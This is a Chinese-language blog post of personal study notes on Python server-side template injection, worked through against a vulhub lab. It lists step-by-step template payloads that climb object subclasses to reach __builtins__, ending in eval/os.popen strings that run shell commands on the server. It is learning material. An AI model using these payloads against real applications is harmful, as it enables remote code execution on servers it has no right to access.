SSTI-Study

注入大致流程

1. 检测漏洞,寻找注入点
2.查询基本类
3.查找子类
4.找到子类中可以读取文件或命令执行的模块

搭建的是vulhub的ssti靶场

查询注入点

image-20201112172534902image-20201112172534902

查看基本类

?name={{''.__class__.__base__}}
?name={{''.__class__.__mro__}}
?name={{''.__class__.__mro__[0]}}

image-20201112172830078image-20201112172830078

image-20201112172810920image-20201112172810920

image-20201112172948831image-20201112172948831

查看子类

查看所有子类
?name={{''.__class__.__base__.__subclasses__()}}
?name={{''.__class__.__mro__[1].__subclasses__()}}
查看某一个子类
?name={{''.__class__.__base__.__subclasses__()[166]}}
?name={{''.__class__.__mro__[1].__subclasses__()[166]}}

image-20201112183533974image-20201112183533974

image-20201112183911218image-20201112183911218

查看166号子类的模板

?name={{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__}}
?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__}}

image-20201112184228318image-20201112184228318

查看166号子类的模板中的函数

?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']}}
?name={{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['__builtins__']}}

image-20201112185201824image-20201112185201824

利用函数构造payload

?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

image-20201112185822710image-20201112185822710

理解不一定对

常见的payload

?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}

后面还需要熟练掌握各种绕过方法

最后修改于:2021年03月31日 21:36

添加新评论